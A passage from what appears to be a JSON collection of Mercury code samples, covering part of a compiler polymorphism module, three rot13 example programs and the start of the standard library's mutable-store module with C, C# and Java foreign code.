  type_info_var_map::out) is det.\n:- pred poly_info_get_typeclass_info_map(poly_info::in,\n    typeclass_info_map::out) is det.\n:- pred poly_info_get_int_const_map(poly_info::in, int_const_map::out) is det.\n:- pred poly_info_get_num_reuses(poly_info::in, int::out) is det.\n:- pred poly_info_get_const_struct_db(poly_info::in, const_struct_db::out)\n    is det.\n:- pred poly_info_get_const_struct_var_map(poly_info::in,\n    const_struct_var_map::out) is det.\n:- pred poly_info_get_pred_info(poly_info::in, pred_info::out) is det.\n:- pred poly_info_get_module_info(poly_info::in, module_info::out) is det.\n\npoly_info_get_varset(PolyInfo, PolyInfo ^ poly_varset).\npoly_info_get_var_types(PolyInfo, PolyInfo ^ poly_vartypes).\npoly_info_get_typevarset(PolyInfo, PolyInfo ^ poly_typevarset).\npoly_info_get_tvar_kinds(PolyInfo, PolyInfo ^ poly_tvar_kinds).\npoly_info_get_rtti_varmaps(PolyInfo, PolyInfo ^ poly_rtti_varmaps).\npoly_info_get_proofs(PolyInfo, PolyInfo ^ poly_proof_map).\npoly_info_get_constraint_map(PolyInfo, PolyInfo ^ poly_constraint_map).\npoly_info_get_type_info_var_map(PolyInfo, PolyInfo ^ poly_type_info_var_map).\npoly_info_get_typeclass_info_map(PolyInfo, PolyInfo ^ poly_typeclass_info_map).\npoly_info_get_int_const_map(PolyInfo, PolyInfo ^ poly_int_const_map).\npoly_info_get_num_reuses(PolyInfo, PolyInfo ^ poly_num_reuses).\npoly_info_get_const_struct_db(PolyInfo, PolyInfo ^ poly_const_struct_db).\npoly_info_get_const_struct_var_map(PolyInfo,\n    PolyInfo ^ poly_const_struct_var_map).\npoly_info_get_pred_info(PolyInfo, PolyInfo ^ poly_pred_info).\npoly_info_get_module_info(PolyInfo, PolyInfo ^ poly_module_info).\n\n:- pred poly_info_set_varset(prog_varset::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_varset_and_types(prog_varset::in, vartypes::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_typevarset(tvarset::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_tvar_kinds(tvar_kind_map::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_rtti_varmaps(rtti_varmaps::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_proofs(constraint_proof_map::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_type_info_var_map(type_info_var_map::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_typeclass_info_map(typeclass_info_map::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_int_const_map(int_const_map::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_num_reuses(int::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_const_struct_db(const_struct_db::in,\n    poly_info::in, poly_info::out) is det.\n:- pred poly_info_set_const_struct_var_map(const_struct_var_map::in,\n    poly_info::in, poly_info::out) is det.\n\npoly_info_set_varset(VarSet, !PI) :-\n    !PI ^ poly_varset := VarSet.\npoly_info_set_varset_and_types(VarSet, VarTypes, !PI) :-\n    !PI ^ poly_varset := VarSet,\n    !PI ^ poly_vartypes := VarTypes.\npoly_info_set_typevarset(TVarSet, !PI) :-\n    !PI ^ poly_typevarset := TVarSet.\npoly_info_set_tvar_kinds(TVarKinds, !PI) :-\n    !PI ^ poly_tvar_kinds := TVarKinds.\npoly_info_set_rtti_varmaps(RttiVarMaps, !PI) :-\n    !PI ^ poly_rtti_varmaps := RttiVarMaps.\npoly_info_set_proofs(Proofs, !PI) :-\n    !PI ^ poly_proof_map := Proofs.\npoly_info_set_type_info_var_map(TypeInfoVarMap, !PI) :-\n    !PI ^ poly_type_info_var_map := TypeInfoVarMap.\npoly_info_set_typeclass_info_map(TypeClassInfoMap, !PI) :-\n    !PI ^ poly_typeclass_info_map := TypeClassInfoMap.\npoly_info_set_int_const_map(IntConstMap, !PI) :-\n    !PI ^ poly_int_const_map := IntConstMap.\npoly_info_set_num_reuses(NumReuses, !PI) :-\n    !PI ^ poly_num_reuses := NumReuses.\npoly_info_set_const_struct_db(ConstStructDb, !PI) :-\n    !PI ^ poly_const_struct_db := ConstStructDb.\npoly_info_set_const_struct_var_map(ConstStructVarMap, !PI) :-\n    !PI ^ poly_const_struct_var_map := ConstStructVarMap.\n\n%---------------------------------------------------------------------------%\n\n:- type cache_maps\n    --->    cache_maps(\n                cm_snapshot_num             :: int,\n                cm_type_info_var_map        :: type_info_var_map,\n                cm_typeclass_info_map       :: typeclass_info_map,\n                cm_int_const_map            :: int_const_map,\n                cm_const_struct_var_map     :: const_struct_var_map\n            ).\n\n:- pred get_cache_maps_snapshot(string::in, cache_maps::out,\n    poly_info::in, poly_info::out) is det.\n:- pred set_cache_maps_snapshot(string::in, cache_maps::in,\n    poly_info::in, poly_info::out) is det.\n:- pred empty_cache_maps(poly_info::in, poly_info::out) is det.\n\nget_cache_maps_snapshot(Name, CacheMaps, !Info) :-\n    SnapshotNum = !.Info ^ poly_snapshot_num,\n    TypeInfoVarMap = !.Info ^ poly_type_info_var_map,\n    TypeClassInfoMap = !.Info ^ poly_typeclass_info_map,\n    IntConstMap = !.Info ^ poly_int_const_map,\n    ConstStructVarMap = !.Info ^ poly_const_struct_var_map,\n    CacheMaps = cache_maps(SnapshotNum, TypeInfoVarMap, TypeClassInfoMap,\n        IntConstMap, ConstStructVarMap),\n    !Info ^ poly_snapshot_num := SnapshotNum + 1,\n\n    trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n        some [SelectedPred, Level, IndentStr] (\n            promise_pure (\n                semipure get_selected_pred(SelectedPred),\n                semipure get_level(Level),\n                (\n                    SelectedPred = yes,\n                    Name \\= \"\"\n                ->\n                    IndentStr = string.duplicate_char(' ', Level * 4),\n                    io.write_string(IndentStr, !IO),\n                    io.format(\"get_cache_maps_snapshot %d %s\\n\",\n                        [i(SnapshotNum), s(Name)], !IO),\n                    io.write_string(IndentStr, !IO),\n                    NumVars = varset.num_allocated(!.Info ^ poly_varset),\n                    io.format(\"num_allocated vars: %d\\n\\n\", [i(NumVars)], !IO)\n                ;\n                    true\n                )\n            )\n        )\n    ).\n\nset_cache_maps_snapshot(Name, CacheMaps, !Info) :-\n    CacheMaps = cache_maps(SnapshotNum, TypeInfoVarMap, TypeClassInfoMap,\n        IntConstMap, ConstStructVarMap),\n    !Info ^ poly_type_info_var_map := TypeInfoVarMap,\n    !Info ^ poly_typeclass_info_map := TypeClassInfoMap,\n    !Info ^ poly_int_const_map := IntConstMap,\n    !Info ^ poly_const_struct_var_map := ConstStructVarMap,\n\n    trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n        some [SelectedPred, Level, IndentStr] (\n            promise_pure (\n                semipure get_selected_pred(SelectedPred),\n                semipure get_level(Level),\n                (\n                    SelectedPred = yes,\n                    Name \\= \"\"\n                ->\n                    IndentStr = string.duplicate_char(' ', Level * 4),\n                    io.write_string(IndentStr, !IO),\n                    io.format(\"set_cache_maps_snapshot %d %s\\n\",\n                        [i(SnapshotNum), s(Name)], !IO),\n                    io.write_string(IndentStr, !IO),\n                    NumVars = varset.num_allocated(!.Info ^ poly_varset),\n                    io.format(\"num_allocated vars: %d\\n\\n\", [i(NumVars)], !IO),\n\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"type_info_var_map \", !IO),\n                    io.write(CacheMaps ^ cm_type_info_var_map, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"typeclass_info_map \", !IO),\n                    io.write(CacheMaps ^ cm_typeclass_info_map, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"struct_var_map \", !IO),\n                    io.write(CacheMaps ^ cm_const_struct_var_map, !IO),\n                    io.nl(!IO),\n                    io.nl(!IO)\n                ;\n                    true\n                )\n            )\n        )\n    ).\n\nempty_cache_maps(!Info) :-\n    !Info ^ poly_type_info_var_map := map.init,\n    !Info ^ poly_typeclass_info_map := map.init,\n    !Info ^ poly_int_const_map := map.init,\n    !Info ^ poly_const_struct_var_map := map.init.\n\n%---------------------------------------------------------------------------%\n\n:- type var_maps\n    --->    var_maps(\n                vm_snapshot_num             :: int,\n                vm_varset                   :: prog_varset,\n                vm_vartypes                 :: vartypes,\n                vm_rtti_varmaps             :: rtti_varmaps,\n                vm_cache_maps               :: cache_maps\n            ).\n\n:- pred get_var_maps_snapshot(string::in, var_maps::out,\n    poly_info::in, poly_info::out) is det.\n\nget_var_maps_snapshot(Name, VarMaps, !Info) :-\n    SnapshotNum = !.Info ^ poly_snapshot_num,\n    VarSet = !.Info ^ poly_varset,\n    VarTypes = !.Info ^ poly_vartypes,\n    RttiVarMaps = !.Info ^ poly_rtti_varmaps,\n\n    trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n        some [SelectedPred, Level, IndentStr] (\n            promise_pure (\n                semipure get_selected_pred(SelectedPred),\n                semipure get_level(Level),\n                (\n                    SelectedPred = no\n                ;\n                    SelectedPred = yes,\n                    IndentStr = string.duplicate_char(' ', Level * 4),\n                    io.write_string(IndentStr, !IO),\n                    io.format(\"get_var_maps_snapshot %d %s\\n\",\n                        [i(SnapshotNum), s(Name)], !IO),\n                    io.write_string(IndentStr, !IO),\n                    NumVars = varset.num_allocated(VarSet),\n                    io.format(\"num_allocated vars: %d\\n\\n\", [i(NumVars)], !IO)\n                )\n            )\n        )\n    ),\n\n    get_cache_maps_snapshot(\"\", CacheMaps, !Info),\n    VarMaps = var_maps(SnapshotNum, VarSet, VarTypes, RttiVarMaps, CacheMaps).\n\n:- pred set_var_maps_snapshot(string::in, var_maps::in,\n    poly_info::in, poly_info::out) is det.\n\nset_var_maps_snapshot(Name, VarMaps, !Info) :-\n    VarMaps = var_maps(SnapshotNum, VarSet, VarTypes, RttiVarMaps, CacheMaps),\n\n    trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n        some [SelectedPred, Level, IndentStr] (\n            promise_pure (\n                semipure get_selected_pred(SelectedPred),\n                semipure get_level(Level),\n                (\n                    SelectedPred = no\n                ;\n                    SelectedPred = yes,\n                    IndentStr = string.duplicate_char(' ', Level * 4),\n                    io.write_string(IndentStr, !IO),\n                    io.format(\"set_var_maps_snapshot %d %s\\n\",\n                        [i(SnapshotNum), s(Name)], !IO),\n\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"type_info_var_map \", !IO),\n                    io.write(CacheMaps ^ cm_type_info_var_map, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"typeclass_info_map \", !IO),\n                    io.write(CacheMaps ^ cm_typeclass_info_map, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"struct_var_map \", !IO),\n                    io.write(CacheMaps ^ cm_const_struct_var_map, !IO),\n                    io.nl(!IO),\n                    io.nl(!IO)\n                )\n            )\n        )\n    ),\n\n    !Info ^ poly_varset := VarSet,\n    !Info ^ poly_vartypes := VarTypes,\n    !Info ^ poly_rtti_varmaps := RttiVarMaps,\n    set_cache_maps_snapshot(\"\", CacheMaps, !Info).\n\n%---------------------------------------------------------------------------%\n:- end_module check_hlds.polymorphism.\n%---------------------------------------------------------------------------%\n"
  },
  {
    "path": "samples/Mercury/rot13_concise.m",
    "content": "% File: rot13_concise.m\n% Main authors: Warwick Harvey <wharvey@cs.monash.edu.au>\n%               Fergus Henderson <fjh@cs.mu.oz.au>\n%\n% rot13_concise:\n%\n% Program to read its input, apply the rot13 algorithm, and write it out\n% again.\n%\n% This version is more concise (but less efficient) than its companion,\n% rot13_verbose.\n%\n% Key features:\n% - is independent of character set (e.g. ASCII, EBCDIC)\n% - has proper error handling\n%\n\n:- module rot13_concise.\n\n:- interface.\n:- import_module io.\n\n:- pred main(state, state).\n:- mode main(di, uo) is det.\n\n:- implementation.\n:- import_module char, int, string.\n\n% The length of `alphabet' should be a multiple of `cycle'.\nalphabet = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\".\ncycle = 26.\n\nrot_n(N, Char) = RotChar :-\n\tchar_to_string(Char, CharString),\n\t( if sub_string_search(alphabet, CharString, Index) then\n\t\tNewIndex = (Index + N) mod cycle + cycle * (Index // cycle),\n\t\tindex_det(alphabet, NewIndex, RotChar)\n\telse\n\t\tRotChar = Char\n\t).\n\nrot13(Char) = rot_n(13, Char).\n\nmain -->\n\tread_char(Res),\n\t( { Res = ok(Char) },\n\t\tprint(rot13(Char)),\n\t\tmain\n\t; { Res = eof }\n\t; { Res = error(ErrorCode) },\n\t\t{ error_message(ErrorCode, ErrorMessage) },\n\t\tstderr_stream(StdErr),\n\t\tprint(StdErr, \"rot13: error reading input: \"),\n\t\tprint(StdErr, ErrorMessage),\n\t\tnl(StdErr)\n\t).\n\n\n"
  },
  {
    "path": "samples/Mercury/rot13_ralph.m",
    "content": "% ---------------------------------------------------------------------------- %\n% rot13_ralph.m\n% Copyright (C) 2001 Ralph Becket <rbeck@microsoft.com>\n% Tue Jan  9 18:10:44 GMT 2001\n% vim: ts=4 sw=4 et tw=0 wm=0 ff=unix ft=mercury\n%\n% Short and sweet.\n%\n% ---------------------------------------------------------------------------- %\n\n:- module rot13_ralph.\n\n:- interface.\n\n:- import_module io.\n\n\n\n:- pred main(io__state::di, io__state::uo) is det.\n\n% ---------------------------------------------------------------------------- %\n% ---------------------------------------------------------------------------- %\n\n:- implementation.\n\n:- import_module int, require.\n\n% ---------------------------------------------------------------------------- %\n\nmain -->\n    io__read_byte(Result),\n    (   { Result = ok(X) },         io__write_byte(rot13(X)), main\n    ;   { Result = eof }\n    ;   { Result = error(ErrNo)},   { error(io__error_message(ErrNo)) }\n    ).\n\n% ---------------------------------------------------------------------------- %\n\n:- func rot13(int) = int.\n\nrot13(X) =\n    (      if 0'a =< X, X =< 0'z then Rot13(X, 0'a)\n      else if 0'A =< X, X =< 0'Z then Rot13(X, 0'A)\n      else X\n    )\n :-\n    Rot13 = ( func(C, A) = ((13 + C - A) `rem` 26) + A ).\n\n% ---------------------------------------------------------------------------- %\n% ---------------------------------------------------------------------------- %\n"
  },
  {
    "path": "samples/Mercury/rot13_verbose.m",
    "content": "% File: rot13_verbose.m\n% Main author: Warwick Harvey <wharvey@cs.monash.edu.au>\n% Additional input: Fergus Henderson <fjh@cs.mu.oz.au>\n\n%\n% rot13_verbose:\n%\n% Program to read its input, apply the rot13 algorithm, and write it out\n% again.\n%\n% This version is more verbose (and more efficient) than its companion,\n% rot13_concise.\n%\n% Key features:\n% - is independent of character set (e.g. ASCII, EBCDIC)\n% - has proper error handling\n% - reasonably efficient (uses a table to do the rotation)\n%\n\n:- module rot13_verbose.\n\n:- interface.\n:- import_module io.\n\n:- pred main(io__state, io__state).\n:- mode main(di, uo) is det.\n\n:- implementation.\n:- import_module char, int, require.\n\n\t% rot13a/2\n\t% A table to map the alphabetic characters to their rot13 equivalents\n\t% (fails if the input is not alphabetic).\n:- pred rot13a(char, char).\n:- mode rot13a(in, out) is semidet.\n\nrot13a('a', 'n').\nrot13a('b', 'o').\nrot13a('c', 'p').\nrot13a('d', 'q').\nrot13a('e', 'r').\nrot13a('f', 's').\nrot13a('g', 't').\nrot13a('h', 'u').\nrot13a('i', 'v').\nrot13a('j', 'w').\nrot13a('k', 'x').\nrot13a('l', 'y').\nrot13a('m', 'z').\nrot13a('n', 'a').\nrot13a('o', 'b').\nrot13a('p', 'c').\nrot13a('q', 'd').\nrot13a('r', 'e').\nrot13a('s', 'f').\nrot13a('t', 'g').\nrot13a('u', 'h').\nrot13a('v', 'i').\nrot13a('w', 'j').\nrot13a('x', 'k').\nrot13a('y', 'l').\nrot13a('z', 'm').\nrot13a('A', 'N').\nrot13a('B', 'O').\nrot13a('C', 'P').\nrot13a('D', 'Q').\nrot13a('E', 'R').\nrot13a('F', 'S').\nrot13a('G', 'T').\nrot13a('H', 'U').\nrot13a('I', 'V').\nrot13a('J', 'W').\nrot13a('K', 'X').\nrot13a('L', 'Y').\nrot13a('M', 'Z').\nrot13a('N', 'A').\nrot13a('O', 'B').\nrot13a('P', 'C').\nrot13a('Q', 'D').\nrot13a('R', 'E').\nrot13a('S', 'F').\nrot13a('T', 'G').\nrot13a('U', 'H').\nrot13a('V', 'I').\nrot13a('W', 'J').\nrot13a('X', 'K').\nrot13a('Y', 'L').\nrot13a('Z', 'M').\n\n\t% rot13/2\n\t% Applies the rot13 algorithm to a character.\n:- pred rot13(char, char).\n:- mode rot13(in, out) is det.\n\nrot13(Char, RotChar) :-\n\t( if rot13a(Char, TmpChar) then\n\t\tRotChar = TmpChar\n\telse\n\t\tRotChar = Char\n\t).\n\nmain -->\n\tio__read_char(Res),\n\t( { Res = ok(Char) },\n\t\t{ rot13(Char, RotChar) },\n\t\tio__write_char(RotChar),\n\t\tmain\n\t; { Res = eof }\n\t; { Res = error(ErrorCode) },\n\t\t{ io__error_message(ErrorCode, ErrorMessage) },\n\t\tio__stderr_stream(StdErr),\n\t\tio__write_string(StdErr, \"rot13: error reading input: \"),\n\t\tio__write_string(StdErr, ErrorMessage),\n\t\tio__nl(StdErr)\n\t).\n\n"
  },
  {
    "path": "samples/Mercury/store.m",
    "content": "%-----------------------------------------------------------------------------%\n% vim: ft=mercury ts=4 sw=4 et wm=0 tw=0\n%-----------------------------------------------------------------------------%\n% Copyright (C) 1994-1997, 2000-2008, 2010-2011 The University of Melbourne.\n% This file may only be copied under the terms of the GNU Library General\n% Public License - see the file COPYING.LIB in the Mercury distribution.\n%-----------------------------------------------------------------------------%\n% \n% File: store.m.\n% Main author: fjh.\n% Stability: low.\n% \n% This file provides facilities for manipulating mutable stores.\n% A store can be considered a mapping from abstract keys to their values.\n% A store holds a set of nodes, each of which may contain a value of any\n% type.\n%\n% Stores may be used to implement cyclic data structures such as circular\n% linked lists, etc.\n%\n% Stores can have two different sorts of keys:\n% mutable variables (mutvars) and references (refs).\n% The difference between mutvars and refs is that mutvars can only be updated\n% atomically, whereas it is possible to update individual fields of a\n% reference one at a time (presuming the reference refers to a structured\n% term).\n% \n%-----------------------------------------------------------------------------%\n%-----------------------------------------------------------------------------%\n\n:- module store.\n:- interface.\n\n:- import_module io.\n\n%-----------------------------------------------------------------------------%\n\n    % Stores and keys are indexed by a type S of typeclass store(S) that\n    % is used to distinguish between different stores.  By using an\n    % existential type declaration for store.new (see below), we use the\n    % type system to ensure at compile time that you never attempt to use\n    % a key from one store to access a different store.\n    %\n:- typeclass store(T) where [].\n:- type store(S).\n\n:- instance store(io.state).\n:- instance store(store(S)).\n\n    % Initialize a new store.\n    %\n:- some [S] pred store.init(store(S)::uo) is det.\n\n%-----------------------------------------------------------------------------%\n%\n% Mutvars\n%\n\n    % generic_mutvar(T, S):\n    % A mutable variable holding a value of type T in store S.\n    %\n:- type generic_mutvar(T, S).\n:- type io_mutvar(T) == generic_mutvar(T, io.state).\n:- type store_mutvar(T, S) == generic_mutvar(T, store(S)).\n\n    % Create a new mutable variable, initialized with the specified value.\n    %\n:- pred store.new_mutvar(T::in, generic_mutvar(T, S)::out, S::di, S::uo)\n    is det <= store(S).\n\n    % copy_mutvar(OldMutvar, NewMutvar, S0, S) is equivalent to the sequence\n    %   get_mutvar(OldMutvar, Value, S0, S1),\n    %   new_mutvar(NewMutvar, Value, S1, S )\n    %\n:- pred store.copy_mutvar(generic_mutvar(T, S)::in, generic_mutvar(T, S)::out,\n    S::di, S::uo) is det <= store(S).\n\n    % Lookup the value stored in a given mutable variable.\n    %\n:- pred store.get_mutvar(generic_mutvar(T, S)::in, T::out,\n    S::di, S::uo) is det <= store(S).\n\n    % Replace the value stored in a given mutable variable.\n    %\n:- pred store.set_mutvar(generic_mutvar(T, S)::in, T::in,\n    S::di, S::uo) is det <= store(S).\n\n    % new_cyclic_mutvar(Func, Mutvar):\n    %\n    % Create a new mutable variable, whose value is initialized\n    % with the value returned from the specified function `Func'.\n    % The argument passed to the function is the mutvar itself,\n    % whose value has not yet been initialized (this is safe\n    % because the function does not get passed the store, so\n    % it can't examine the uninitialized value).\n    %\n    % This predicate is useful for creating self-referential values\n    % such as circular linked lists.\n    % For example:\n    %\n    %   :- type clist(T, S) ---> node(T, mutvar(clist(T, S))).\n    %\n    %   :- pred init_cl(T::in, clist(T, S)::out,\n    %       store(S)::di, store(S)::uo) is det.\n    %\n    %   init_cl(X, CList, !Store) :-\n    %       store.new_cyclic_mutvar(func(CL) = node(X, CL), CList,\n    %       !Store).\n    %\n:- pred store.new_cyclic_mutvar((func(generic_mutvar(T, S)) = T)::in,\n    generic_mutvar(T, S)::out, S::di, S::uo) is det <= store(S).\n\n%-----------------------------------------------------------------------------%\n%\n% References\n%\n\n    % generic_ref(T, S):\n    %\n    % A reference to value of type T in store S.\n    %\n:- type generic_ref(T, S).\n:- type io_ref(T, S) == generic_ref(T, io.state).\n:- type store_ref(T, S) == generic_ref(T, store(S)).\n\n    % new_ref(Val, Ref):\n    %   /* In C: Ref = malloc(...); *Ref = Val; */\n    %\n    % Given a value of any type `T', insert a copy of the term\n    % into the store and return a new reference to that term.\n    % (This does not actually perform a copy, it just returns a view\n    % of the representation of that value.\n    % It does however allocate one cell to hold the reference;\n    % you can use new_arg_ref to avoid that.)\n    %\n:- pred store.new_ref(T::di, generic_ref(T, S)::out,\n    S::di, S::uo) is det <= store(S).\n\n    % ref_functor(Ref, Functor, Arity):\n    %\n    % Given a reference to a term, return the functor and arity\n    % of that term.\n    %\n:- pred store.ref_functor(generic_ref(T, S)::in, string::out, int::out,\n    S::di, S::uo) is det <= store(S).\n\n    % arg_ref(Ref, ArgNum, ArgRef):\n    %   /* Pseudo-C code: ArgRef = &Ref[ArgNum]; */\n    %\n    % Given a reference to a term, return a reference to\n    % the specified argument (field) of that term\n    % (argument numbers start from zero).\n    % It is an error if the argument number is out of range,\n    % or if the argument reference has the wrong type.\n    %\n:- pred store.arg_ref(generic_ref(T, S)::in, int::in,\n    generic_ref(ArgT, S)::out, S::di, S::uo) is det <= store(S).\n\n    % new_arg_ref(Val, ArgNum, ArgRef):\n    %   /* Pseudo-C code: ArgRef = &Val[ArgNum]; */\n    %\n    % Equivalent to `new_ref(Val, Ref), arg_ref(Ref, ArgNum, ArgRef)',\n    % except that it is more efficient.\n    % It is an error if the argument number is out of range,\n    % or if the argument reference has the wrong type.\n    %\n:- pred store.new_arg_ref(T::di, int::in, generic_ref(ArgT, S)::out,\n    S::di, S::uo) is det <= store(S).\n\n    % set_ref(Ref, ValueRef):\n    %   /* Pseudo-C code: *Ref = *ValueRef; */\n    %\n    % Given a reference to a term (Ref),\n    % a reference to another term (ValueRef),\n    % update the store so that the term referred to by Ref\n    % is replaced with the term referenced by ValueRef.\n    %\n:- pred store.set_ref(generic_ref(T, S)::in, generic_ref(T, S)::in,\n    S::di, S::uo) is det <= store(S).\n\n    % set_ref_value(Ref, Value):\n    %   /* Pseudo-C code: *Ref = Value; */\n    %\n    % Given a reference to a term (Ref), and a value (Value),\n    % update the store so that the term referred to by Ref\n    % is replaced with Value.\n    %\n:- pred store.set_ref_value(generic_ref(T, S)::in, T::di,\n    S::di, S::uo) is det <= store(S).\n\n    % Given a reference to a term, return that term.\n    % Note that this requires making a copy, so this pred may\n    % be inefficient if used to return large terms; it\n    % is most efficient with atomic terms.\n    % XXX current implementation buggy (does shallow copy)\n    %\n:- pred store.copy_ref_value(generic_ref(T, S)::in, T::uo,\n    S::di, S::uo) is det <= store(S).\n\n    % Same as above, but without making a copy. Destroys the store.\n    %\n:- pred store.extract_ref_value(S::di, generic_ref(T, S)::in, T::out)\n    is det <= store(S).\n\n%-----------------------------------------------------------------------------%\n%\n% Nasty performance hacks\n%\n% WARNING: use of these procedures is dangerous!\n% Use them only as a last resort, only if performance is critical, and only if\n% profiling shows that using the safe versions is a bottleneck.\n%\n% These procedures may vanish in some future version of Mercury.\n\n    % `unsafe_arg_ref' is the same as `arg_ref',\n    % and `unsafe_new_arg_ref' is the same as `new_arg_ref'\n    % except that they doesn't check for errors,\n    % and they don't work for `no_tag' types (types with\n    % exactly one functor which has exactly one argument),\n    % and they don't work for arguments which occupy a word with other\n    % arguments,\n    % and they don't work for types with >4 functors.\n    % If the argument number is out of range,\n    % or if the argument reference has the wrong type,\n    % or if the argument is a `no_tag' type,\n    % or if the argument uses a packed representation,\n    % then the behaviour is undefined, and probably harmful.\n\n:- pred store.unsafe_arg_ref(generic_ref(T, S)::in, int::in,\n    generic_ref(ArgT, S)::out, S::di, S::uo) is det <= store(S).\n\n:- pred store.unsafe_new_arg_ref(T::di, int::in, generic_ref(ArgT, S)::out,\n    S::di, S::uo) is det <= store(S).\n\n%-----------------------------------------------------------------------------%\n%-----------------------------------------------------------------------------%\n\n:- implementation.\n\n:- import_module deconstruct.\n:- import_module require.\n\n:- instance store(store(S)) where [].\n:- instance store(io.state) where [].\n\n% The store type itself is just a dummy type,\n% with no real representation.\n\n:- type store(S).\n:- pragma foreign_type(\"C\", store(S), \"MR_Word\", [can_pass_as_mercury_type])\n    where equality is store_equal, comparison is store_compare.\n:- pragma foreign_type(\"IL\", store(S), \"int32\", [can_pass_as_mercury_type])\n    where equality is store_equal, comparison is store_compare.\n:- pragma foreign_type(\"C#\", store(S), \"int\", [can_pass_as_mercury_type])\n    where equality is store_equal, comparison is store_compare.\n:- pragma foreign_type(\"Java\", store(S), \"int\", [can_pass_as_mercury_type])\n    where equality is store_equal, comparison is store_compare.\n:- pragma foreign_type(\"Erlang\", store(S), \"\", [can_pass_as_mercury_type])\n    where equality is store_equal, comparison is store_compare.\n\n:- pred store_equal(store(S)::in, store(S)::in) is semidet.\n\nstore_equal(_, _) :-\n    error(\"attempt to unify two stores\").\n\n:- pred store_compare(comparison_result::uo, store(S)::in, store(S)::in)\n    is det.\n\nstore_compare(_, _, _) :-\n    error(\"attempt to compare two stores\").\n\n    % Mutvars and references are each represented as a pointer to a single word\n    % on the heap.\n:- type generic_mutvar(T, S) ---> mutvar(private_builtin.ref(T)).\n:- type generic_ref(T, S) ---> ref(private_builtin.ref(T)).\n\nstore.init(S) :-\n    store.do_init(S).\n\n:- some [S] pred store.do_init(store(S)::uo) is det.\n\n:- pragma foreign_proc(\"C\",\n    store.do_init(_S0::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    TypeInfo_for_S = 0;\n\").\n:- pragma foreign_proc(\"C#\",\n    store.do_init(_S0::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    TypeInfo_for_S = null;\n\").\n:- pragma foreign_proc(\"Java\",\n    store.do_init(_S0::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    TypeInfo_for_S = null;\n\").\n:- pragma foreign_proc(\"Erlang\",\n    store.do_init(_S0::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    TypeInfo_for_S = 'XXX'\n\").\n\n% Note -- the syntax for the operations on stores\n% might be nicer if we used some new operators, e.g.\n%\n%   :- op(.., xfx, ('<-')).\n%   :- op(.., fy, ('!')).\n%   :- op(.., xfx, (':=')).\n%\n% Then we could do something like this:\n%\n%   Ptr <- new(Val)   -->   new_mutvar(Val, Ptr).\n%   Val <- !Ptr       -->   get_mutvar(Ptr, Val).\n%   !Ptr := Val   -->   set_mutvar(Ptr, Val).\n%\n% I wonder whether it is worth it?  Hmm, probably not.\n\n:- pragma foreign_proc(\"C\",\n    new_mutvar(Val::in, Mutvar::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    MR_offset_incr_hp_msg(Mutvar, MR_SIZE_SLOT_SIZE, MR_SIZE_SLOT_SIZE + 1,\n        MR_ALLOC_ID, \"\"store.mutvar/2\"\");\n    MR_define_size_slot(0, Mutvar, 1);\n    * (MR_Word *) Mutvar = Val;\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"C\",\n    get_mutvar(Mutvar::in, Val::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    Val = * (MR_Word *) Mutvar;\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"C\",\n    set_mutvar(Mutvar::in, Val::in, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    * (MR_Word *) Mutvar = Val;\n    S = S0;\n\").\n\n:- pragma foreign_type(\"C#\", generic_mutvar(T, S), \"object[]\").\n\n:- pragma foreign_proc(\"C#\",\n    new_mutvar(Val::in, Mutvar::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar = new object[] { Val };\n\").\n\n:- pragma foreign_proc(\"C#\",\n    get_mutvar(Mutvar::in, Val::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = Mutvar[0];\n\").\n\n:- pragma foreign_proc(\"C#\",\n    set_mutvar(Mutvar::in, Val::in, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar[0] = Val;\n\").\n\n:- pragma foreign_type(\"Java\", generic_mutvar(T, S), \"mutvar.Mutvar\").\n\n:- pragma foreign_proc(\"Java\",\n    new_mutvar(Val::in, Mutvar::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar = new mutvar.Mutvar(Val);\n\").\n\n:- pragma foreign_proc(\"Java\",\n    get_mutvar(Mutvar::in, Val::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = Mutvar.object;\n\").\n\n:- pragma foreign_proc(\"Java\",\n    set_mutvar(Mutvar::in, Val::in, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar.object = Val;\n\").\n\n% XXX ets are not 